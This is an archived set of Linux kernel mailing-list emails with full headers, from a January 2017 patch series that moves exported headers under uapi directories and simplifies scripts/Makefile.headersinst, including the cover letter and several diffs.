Xref: news.gmane.org gmane.linux.ports.m68k:9130 gmane.linux.kbuild.devel:16306 gmane.linux.documentation:44295 gmane.linux.kernel:2387311 gmane.linux.ports.alpha:4034 gmane.linux.kernel.arc:2010 gmane.linux.ports.arm.kernel:550314 gmane.linux.ports.hexagon:1111 gmane.linux.ports.ia64:27595 gmane.linux.kernel.metag:1234 gmane.linux.ports.mips.general:57459 gmane.linux.ports.parisc:27186 gmane.linux.ports.ppc64.devel:137267 gmane.linux.ports.sh.devel:55032 gmane.linux.ports.sparc:24388 gmane.linux.kernel.cross-arch:34789 gmane.comp.video.dri.devel:176217 gmane.linux.network:450004 gmane.linux.drivers.video-input-infrastructure:111895 gmane.linux.kernel.mmc:42206 gmane.comp.security.firewalls.netfilter.devel:66847 gmane.linux.nfs:81433 gmane.linux.raid:55373 gmane.linux.kernel.spi.devel:26104 gmane.linux.drivers.mtd:71321 gmane.linux.drivers.rdma:45570 gmane.linux.scsi.open-fcoe.devel:13016 gmane.linux.alsa.devel:163129
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9130>

This header file is exported, but from a userland pov, it's just a wrapper
to asm-generic/setup.h.

Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
---
 arch/nios2/include/uapi/asm/Kbuild | 1 +
 1 file changed, 1 insertion(+)

diff --git a/arch/nios2/include/uapi/asm/Kbuild b/arch/nios2/include/uapi/asm/Kbuild
index e0bb972a50d7..69c965304146 100644
--- a/arch/nios2/include/uapi/asm/Kbuild
+++ b/arch/nios2/include/uapi/asm/Kbuild
@@ -2,4 +2,5 @@ include include/uapi/asm-generic/Kbuild.asm
 
 header-y += elf.h
 
+generic-y += setup.h
 generic-y += ucontext.h
-- 
2.8.1


From - Thu Nov 08 21:39:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Newsgroups: gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.comp.video.dri.devel,gmane.linux.network,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel.mmc,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.nfs,gmane.linux.raid,gmane.linux.kernel.spi.devel,gmane.linux.drivers.mtd,gmane.linux.drivers.rdma,gmane.linux.scsi.open-fcoe.devel,gmane.linux.alsa.devel
Subject: [PATCH v3 5/8] Makefile.headersinst: cleanup input files
Date: Fri, 13 Jan 2017 11:46:43 +0100
Lines: 76
Approved: news@gmane.org
Message-ID: <1484304406-10820-6-git-send-email-nicolas.dichtel@6wind.com>
References: <3131144.4Ej3KFWRbz@wuerfel>
 <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1484304470 24729 195.159.176.226 (13 Jan 2017 10:47:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jan 2017 10:47:50 +0000 (UTC)
Cc: mmarek@suse.com, linux-kbuild@vger.kernel.org,
        linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.
To: arnd@arndb.de
Original-X-From: linux-kbuild-owner@vger.kernel.org Fri Jan 13 11:47:40 2017
Return-path: <linux-kbuild-owner@vger.kernel.org>
Envelope-to: glkd-linux-kbuild@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kbuild-owner@vger.kernel.org>)
	id 1cRzOQ-0005Lv-PW
	for glkd-linux-kbuild@m.gmane.org; Fri, 13 Jan 2017 11:47:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751627AbdAMKrh (ORCPT <rfc822;glkd-linux-kbuild@m.gmane.org>);
        Fri, 13 Jan 2017 05:47:37 -0500
Original-Received: from host.76.145.23.62.rev.coltfrance.com ([62.23.145.76]:48660 "EHLO
        proxy.6wind.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751517AbdAMKrX (ORCPT
        <rfc822;linux-kbuild@vger.kernel.org>);
        Fri, 13 Jan 2017 05:47:23 -0500
Original-Received: from elsass.dev.6wind.com (unknown [10.16.0.149])
        by proxy.6wind.com (Postfix) with ESMTPS id 9204625705;
        Fri, 13 Jan 2017 11:46:56 +0100 (CET)
Original-Received: from root by elsass.dev.6wind.com with local (Exim 4.84_2)
        (envelope-from <root@elsass.dev.6wind.com>)
        id 1cRzNl-0002qC-E3; Fri, 13 Jan 2017 11:46:53 +0100
X-Mailer: git-send-email 2.8.1
In-Reply-To: <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
Original-Sender: linux-kbuild-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kbuild.vger.kernel.org>
X-Mailing-List: linux-kbuild@vger.kernel.org
Xref: news.gmane.org gmane.linux.kbuild.devel:16307 gmane.linux.documentation:44296 gmane.linux.kernel:2387312 gmane.linux.ports.alpha:4035 gmane.linux.kernel.arc:2011 gmane.linux.ports.arm.kernel:550315 gmane.linux.ports.hexagon:1112 gmane.linux.ports.ia64:27596 gmane.linux.kernel.metag:1235 gmane.linux.ports.mips.general:57460 gmane.linux.ports.parisc:27187 gmane.linux.ports.ppc64.devel:137268 gmane.linux.ports.sh.devel:55033 gmane.linux.ports.sparc:24389 gmane.linux.kernel.cross-arch:34790 gmane.comp.video.dri.devel:176218 gmane.linux.network:450005 gmane.linux.drivers.video-input-infrastructure:111896 gmane.linux.kernel.mmc:42207 gmane.comp.security.firewalls.netfilter.devel:66848 gmane.linux.nfs:81434 gmane.linux.raid:55374 gmane.linux.kernel.spi.devel:26105 gmane.linux.drivers.mtd:71322 gmane.linux.drivers.rdma:45571 gmane.linux.scsi.open-fcoe.devel:13017 gmane.linux.alsa.devel:163130
Archived-At: <http://permalink.gmane.org/gmane.linux.kbuild.devel/16307>

After the last four patches, all exported headers are under uapi/, thus
input-files2 are not needed anymore.
The side effect is that input-files1-name is exactly header-y.

Note also that input-files3-name is genhdr-y.

Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
---
 scripts/Makefile.headersinst | 34 +++++++++++-----------------------
 1 file changed, 11 insertions(+), 23 deletions(-)

diff --git a/scripts/Makefile.headersinst b/scripts/Makefile.headersinst
index 1106d6ca3a38..3e20d03432d2 100644
--- a/scripts/Makefile.headersinst
+++ b/scripts/Makefile.headersinst
@@ -40,31 +40,20 @@ wrapper-files := $(filter $(header-y), $(generic-y))
 srcdir        := $(srctree)/$(obj)
 gendir        := $(objtree)/$(gen)
 
-oldsrcdir     := $(srctree)/$(subst /uapi,,$(obj))
-
 # all headers files for this dir
 header-y      := $(filter-out $(generic-y), $(header-y))
 all-files     := $(header-y) $(genhdr-y) $(wrapper-files)
 output-files  := $(addprefix $(installdir)/, $(all-files))
 
-input-files1  := $(foreach hdr, $(header-y), \
-		   $(if $(wildcard $(srcdir)/$(hdr)), \
-			$(wildcard $(srcdir)/$(hdr))) \
-		   )
-input-files1-name := $(notdir $(input-files1))
-input-files2  := $(foreach hdr, $(header-y), \
-		   $(if  $(wildcard $(srcdir)/$(hdr)),, \
-			$(if $(wildcard $(oldsrcdir)/$(hdr)), \
-				$(wildcard $(oldsrcdir)/$(hdr)), \
-				$(error Missing UAPI file $(srcdir)/$(hdr))) \
-		   ))
-input-files2-name := $(notdir $(input-files2))
-input-files3  := $(foreach hdr, $(genhdr-y), \
-		   $(if	$(wildcard $(gendir)/$(hdr)), \
-			$(wildcard $(gendir)/$(hdr)), \
-			$(error Missing generated UAPI file $(gendir)/$(hdr)) \
-		   ))
-input-files3-name := $(notdir $(input-files3))
+# Check that all expected files exist
+$(foreach hdr, $(header-y), \
+  $(if $(wildcard $(srcdir)/$(hdr)),, \
+       $(error Missing UAPI file $(srcdir)/$(hdr)) \
+   ))
+$(foreach hdr, $(genhdr-y), \
+  $(if	$(wildcard $(gendir)/$(hdr)),, \
+       $(error Missing generated UAPI file $(gendir)/$(hdr)) \
+  ))
 
 # Work out what needs to be removed
 oldheaders    := $(patsubst $(installdir)/%,%,$(wildcard $(installdir)/*.h))
@@ -78,9 +67,8 @@ printdir = $(patsubst $(INSTALL_HDR_PATH)/%/,%,$(dir $@))
 quiet_cmd_install = INSTALL $(printdir) ($(words $(all-files))\
                             file$(if $(word 2, $(all-files)),s))
       cmd_install = \
-        $(CONFIG_SHELL) $< $(installdir) $(srcdir) $(input-files1-name); \
-        $(CONFIG_SHELL) $< $(installdir) $(oldsrcdir) $(input-files2-name); \
-        $(CONFIG_SHELL) $< $(installdir) $(gendir) $(input-files3-name); \
+        $(CONFIG_SHELL) $< $(installdir) $(srcdir) $(header-y); \
+        $(CONFIG_SHELL) $< $(installdir) $(gendir) $(genhdr-y); \
         for F in $(wrapper-files); do                                   \
                 echo "\#include <asm-generic/$$F>" > $(installdir)/$$F;    \
         done;                                                           \
-- 
2.8.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kbuild" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Newsgroups: gmane.linux.drivers.mtd,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH v3 0/8] uapi: export all headers under uapi directories
Date: Fri, 13 Jan 2017 11:46:38 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
References: <3131144.4Ej3KFWRbz@wuerfel>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1484304483 27417 195.159.176.226 (13 Jan 2017 10:48:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jan 2017 10:48:03 +0000 (UTC)
Cc: linux-mips@linux-mips.org, alsa-devel@alsa-project.org,
 linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org, airlied@linux.ie,
 daniel.vetter@ffwll.ch, linux-fbdev@vger.kernel.org,
 dri-devel@lists.freedesktop.org, linux-mtd@lists.infradead.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
 linux-s390@vger.kernel.org, linux-am33-list@redhat.com,
 linux-c6x-dev@linux-c6x.org, linux-rdma@vger.kernel.org,
 linux-hexagon@vger.kernel.org, linux-sh@vger.kernel.org, linux@armlinux.org.uk,
 hch@infradead.org, coreteam@netfilter.org, msalter@redhat.com,
 fcoe-devel@open-fcoe.org, xen-devel@lists.xenproject.org,
 linux-snps-arc@lists.infradead.org, linux-media@vger.kernel.org,
 uclinux-h8-devel@lists.sourceforge.jp, linux-xtensa@linux-xtensa.org,
 linux-kbuild@vger.kernel.org, adi-buildroot-devel@lists.sourceforge.net,
 linux-raid@vger.kernel.org, linux-m68k@lists.linux-m68k.org
To: arnd@arndb.de
Original-X-From: linux-mtd-bounces+gldm-linux-mtd-36=gmane.org@lists.infradead.org Fri Jan 13 11:47:53 2017
Return-path: <linux-mtd-bounces+gldm-linux-mtd-36=gmane.org@lists.infradead.org>
Envelope-to: gldm-linux-mtd-36@gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mtd-bounces+gldm-linux-mtd-36=gmane.org@lists.infradead.org>)
	id 1cRzOa-00060V-IA
	for gldm-linux-mtd-36@gmane.org; Fri, 13 Jan 2017 11:47:44 +0100
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1cRzOO-0003I3-Qx; Fri, 13 Jan 2017 10:47:32 +0000
Original-Received: from host.76.145.23.62.rev.coltfrance.com ([62.23.145.76]
 helo=proxy.6wind.com)
 by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
 id 1cRzOI-0003Dp-T9; Fri, 13 Jan 2017 10:47:29 +0000
Original-Received: from elsass.dev.6wind.com (unknown [10.16.0.149])
 by proxy.6wind.com (Postfix) with ESMTPS id 0C844256B3;
 Fri, 13 Jan 2017 11:46:56 +0100 (CET)
Original-Received: from root by elsass.dev.6wind.com with local (Exim 4.84_2)
 (envelope-from <root@elsass.dev.6wind.com>)
 id 1cRzNl-0002pp-9Y; Fri, 13 Jan 2017 11:46:53 +0100
X-Mailer: git-send-email 2.8.1
In-Reply-To: <3131144.4Ej3KFWRbz@wuerfel>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170113_024727_097064_29BEC5BB 
X-CRM114-Status: UNSURE (   5.28  )
X-CRM114-Notice: Please train this message.
X-BeenThere: linux-mtd@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux MTD discussion mailing list <linux-mtd.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-mtd>,
 <mailto:linux-mtd-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-mtd/>
List-Post: <mailto:linux-mtd@lists.infradead.org>
List-Help: <mailto:linux-mtd-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-mtd>,
 <mailto:linux-mtd-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-mtd" <linux-mtd-bounces@lists.infradead.org>
Errors-To: linux-mtd-bounces+gldm-linux-mtd-36=gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.drivers.mtd:71323 gmane.linux.ports.mips.general:57461 gmane.linux.alsa.devel:163131 gmane.linux.ports.ia64:27597 gmane.linux.documentation:44297 gmane.comp.video.dri.devel:176219 gmane.linux.ports.sparc:24390 gmane.linux.kernel.cross-arch:34791 gmane.linux.drivers.rdma:45572 gmane.linux.ports.hexagon:1113 gmane.linux.ports.sh.devel:55034 gmane.linux.scsi.open-fcoe.devel:13018 gmane.linux.kernel.arc:2012 gmane.linux.drivers.video-input-infrastructure:111897 gmane.linux.kbuild.devel:16308 gmane.linux.raid:55375 gmane.linux.kernel.metag:1236 gmane.linux.ports.arm.kernel:550316 gmane.linux.nfs:81435 gmane.linux.ports.parisc:27188 gmane.linux.network:450006 gmane.linux.kernel.mmc:42208 gmane.linux.kernel:2387313 gmane.linux.kernel.spi.devel:26106 gmane.comp.security.firewalls.netfilter.devel:66849 gmane.linux.ports.alpha:4036 gmane.linux.ports.ppc64.devel:137269
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.mtd/71323>

Here is the v3 of this series. The first 5 patches are just cleanup: some
exported headers were still under a non-uapi directory or (x86 case) were
wrongly exported.
The patch 6 was spotted by code review: there is no in-tree user of this
functionality.
Patches 7 and 8 remove the need to list explicitly headers. Now all files
under an uapi directory are exported.

This series has been tested with a 'make headers_install' on x86 and a
'make headers_install_all'. I've checked the result of both commands.

This patch is built against linus tree. If I must rebase it against the kbuild
tree, just tell me ;-)

v2 -> v3:
 - patch #1: remove arch/arm/include/asm/types.h
 - patch #2: remove arch/h8300/include/asm/bitsperlong.h
 - patch #3: remove arch/nios2/include/uapi/asm/setup.h
 - patch #4: don't export msr-index.h
 - patch #5: fix a typo: s/unput-files3-name/input-files3-name
 - patch #6: no change
 - patch #7: fix include/uapi/asm-generic/Kbuild.asm by introducing mandatory-y
 - add patch #8

v1 -> v2:
 - add patch #1 to #6
 - patch #7: remove use of header-y

Comments are welcomed,
Nicolas

______________________________________________________
Linux MTD discussion mailing list
http://lists.infradead.org/mailman/listinfo/linux-mtd/


From - Thu Nov 08 21:39:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.comp.video.dri.devel,gmane.linux.network,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel.mmc,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.nfs,gmane.linux.raid,gmane.linux.kernel.spi.devel,gmane.linux.drivers.mtd,gmane.linux.drivers.rdma,gmane.linux.scsi.open-fcoe.devel,gmane.linux.alsa.devel
Subject: [PATCH v3 2/8] h8300: put bitsperlong.h in uapi
Date: Fri, 13 Jan 2017 11:46:40 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <1484304406-10820-3-git-send-email-nicolas.dichtel@6wind.com>
References: <3131144.4Ej3KFWRbz@wuerfel>
 <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1484304498 30053 195.159.176.226 (13 Jan 2017 10:48:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jan 2017 10:48:18 +0000 (UTC)
Cc: mmarek@suse.com, linux-kbuild@vger.kernel.org,
        linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.
To: arnd@arndb.de
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Jan 13 11:48:07 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1cRzOJ-0004aj-BI
	for glpm-linux-m68k@m.gmane.org; Fri, 13 Jan 2017 11:47:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751600AbdAMKr3 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Fri, 13 Jan 2017 05:47:29 -0500
Original-Received: from host.76.145.23.62.rev.coltfrance.com ([62.23.145.76]:48737 "EHLO
        proxy.6wind.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751554AbdAMKrU (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Fri, 13 Jan 2017 05:47:20 -0500
Original-Received: from elsass.dev.6wind.com (unknown [10.16.0.149])
        by proxy.6wind.com (Postfix) with ESMTPS id 05E5925697;
        Fri, 13 Jan 2017 11:46:56 +0100 (CET)
Original-Received: from root by elsass.dev.6wind.com with local (Exim 4.84_2)
        (envelope-from <root@elsass.dev.6wind.com>)
        id 1cRzNl-0002pw-BV; Fri, 13 Jan 2017 11:46:53 +0100
X-Mailer: git-send-email 2.8.1
In-Reply-To: <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9131 gmane.linux.kbuild.devel:16309 gmane.linux.documentation:44298 gmane.linux.kernel:2387315 gmane.linux.ports.alpha:4037 gmane.linux.kernel.arc:2013 gmane.linux.ports.arm.kernel:550318 gmane.linux.ports.hexagon:1114 gmane.linux.ports.ia64:27598 gmane.linux.kernel.metag:1237 gmane.linux.ports.mips.general:57462 gmane.linux.ports.parisc:27189 gmane.linux.ports.ppc64.devel:137270 gmane.linux.ports.sh.devel:55035 gmane.linux.ports.sparc:24391 gmane.linux.kernel.cross-arch:34792 gmane.comp.video.dri.devel:176220 gmane.linux.network:450007 gmane.linux.drivers.video-input-infrastructure:111898 gmane.linux.kernel.mmc:42209 gmane.comp.security.firewalls.netfilter.devel:66850 gmane.linux.nfs:81436 gmane.linux.raid:55376 gmane.linux.kernel.spi.devel:26107 gmane.linux.drivers.mtd:71324 gmane.linux.drivers.rdma:45573 gmane.linux.scsi.open-fcoe.devel:13019 gmane.linux.alsa.devel:163132
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9131>

This header file is exported, thus move it to uapi.

Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
---
 arch/h8300/include/asm/bitsperlong.h      | 14 --------------
 arch/h8300/include/uapi/asm/bitsperlong.h | 14 ++++++++++++++
 2 files changed, 14 insertions(+), 14 deletions(-)
 delete mode 100644 arch/h8300/include/asm/bitsperlong.h
 create mode 100644 arch/h8300/include/uapi/asm/bitsperlong.h

diff --git a/arch/h8300/include/asm/bitsperlong.h b/arch/h8300/include/asm/bitsperlong.h
deleted file mode 100644
index e140e46729ac..000000000000
--- a/arch/h8300/include/asm/bitsperlong.h
+++ /dev/null
@@ -1,14 +0,0 @@
-#ifndef __ASM_H8300_BITS_PER_LONG
-#define __ASM_H8300_BITS_PER_LONG
-
-#include <asm-generic/bitsperlong.h>
-
-#if !defined(__ASSEMBLY__)
-/* h8300-unknown-linux required long */
-#define __kernel_size_t __kernel_size_t
-typedef unsigned long	__kernel_size_t;
-typedef long		__kernel_ssize_t;
-typedef long		__kernel_ptrdiff_t;
-#endif
-
-#endif /* __ASM_H8300_BITS_PER_LONG */
diff --git a/arch/h8300/include/uapi/asm/bitsperlong.h b/arch/h8300/include/uapi/asm/bitsperlong.h
new file mode 100644
index 000000000000..e56cf72369b6
--- /dev/null
+++ b/arch/h8300/include/uapi/asm/bitsperlong.h
@@ -0,0 +1,14 @@
+#ifndef _UAPI_ASM_H8300_BITS_PER_LONG
+#define _UAPI_ASM_H8300_BITS_PER_LONG
+
+#include <asm-generic/bitsperlong.h>
+
+#if !defined(__ASSEMBLY__)
+/* h8300-unknown-linux required long */
+#define __kernel_size_t __kernel_size_t
+typedef unsigned long	__kernel_size_t;
+typedef long		__kernel_ssize_t;
+typedef long		__kernel_ptrdiff_t;
+#endif
+
+#endif /* _UAPI_ASM_H8300_BITS_PER_LONG */
-- 
2.8.1


From - Thu Nov 08 21:39:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Newsgroups: gmane.comp.emulators.xen.devel,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH v3 6/8] Makefile.headersinst: remove
	destination-y option
Date: Fri, 13 Jan 2017 11:46:44 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <1484304406-10820-7-git-send-email-nicolas.dichtel@6wind.com>
References: <3131144.4Ej3KFWRbz@wuerfel>
 <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1484304505 31761 195.159.176.226 (13 Jan 2017 10:48:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jan 2017 10:48:25 +0000 (UTC)
Cc: linux-mips@linux-mips.org, alsa-devel@alsa-project.org,
 linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org, airlied@linux.ie,
 daniel.vetter@ffwll.ch, linux-fbdev@vger.kernel.org,
 dri-devel@lists.freedesktop.org, linux-mtd@lists.infradead.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
 linux-s390@vger.kernel.org, linux-am33-list@redhat.com,
 linux-c6x-dev@linux-c6x.org, linux-rdma@vger.kernel.org,
 linux-hexagon@vger.kernel.org, linux-sh@vger.kernel.org, linux@armlinux.org.uk,
 hch@infradead.org, coreteam@netfilter.org, msalter@redhat.com,
 fcoe-devel@open-fcoe.org, xen-devel@lists.xenproject.org,
 linux-snps-arc@lists.infradead.org, linux-media@vger.kernel.org,
 uclinux-h8-devel@lists.sourceforge.jp, linux-xtensa@linux-xtensa.org,
 linux-kbuild@vger.kernel.org, adi-buildroot-devel@lists.sourceforge.net,
 linux-raid@vger.kernel.org, linux-m68k@lists.linux-m68k.org
To: arnd@arndb.de
Original-X-From: xen-devel-bounces@lists.xen.org Fri Jan 13 11:48:13 2017
Return-path: <xen-devel-bounces@lists.xen.org>
Envelope-to: gcvxd-xen-devel@m.gmane.org
Original-Received: from lists.xenproject.org ([192.237.175.120])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <xen-devel-bounces@lists.xen.org>)
	id 1cRzOs-00073j-BI
	for gcvxd-xen-devel@m.gmane.org; Fri, 13 Jan 2017 11:48:02 +0100
Original-Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.84_2)
	(envelope-from <xen-devel-bounces@lists.xen.org>)
	id 1cRzO4-0006WX-PV; Fri, 13 Jan 2017 10:47:12 +0000
Original-Received: from mail6.bemta6.messagelabs.com ([193.109.254.103])
 by lists.xenproject.org with esmtp (Exim 4.84_2)
 (envelope-from <root@6wind.com>) id 1cRzO2-0006VW-SS
 for xen-devel@lists.xenproject.org; Fri, 13 Jan 2017 10:47:10 +0000
Original-Received: from [193.109.254.147] by server-6.bemta-6.messagelabs.com id
 F4/AE-15112-E20B8785; Fri, 13 Jan 2017 10:47:10 +0000
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFnrELMWRWlGSWpSXmKPExsViJz7RR1d3Q0W
 EwcX1+hbft0xmcmD0OPzhCksAYxRrZl5SfkUCa8abCZtYCn4KV+yccpq1gfGDQBcjF4eQwGxG
 iZsNa9khnOWMEuv7NjB3MXJysAkYSmw4/4iti5GDQ0RAUKL1nyZIDbPAW26Jk3OfMoPEhQU8J
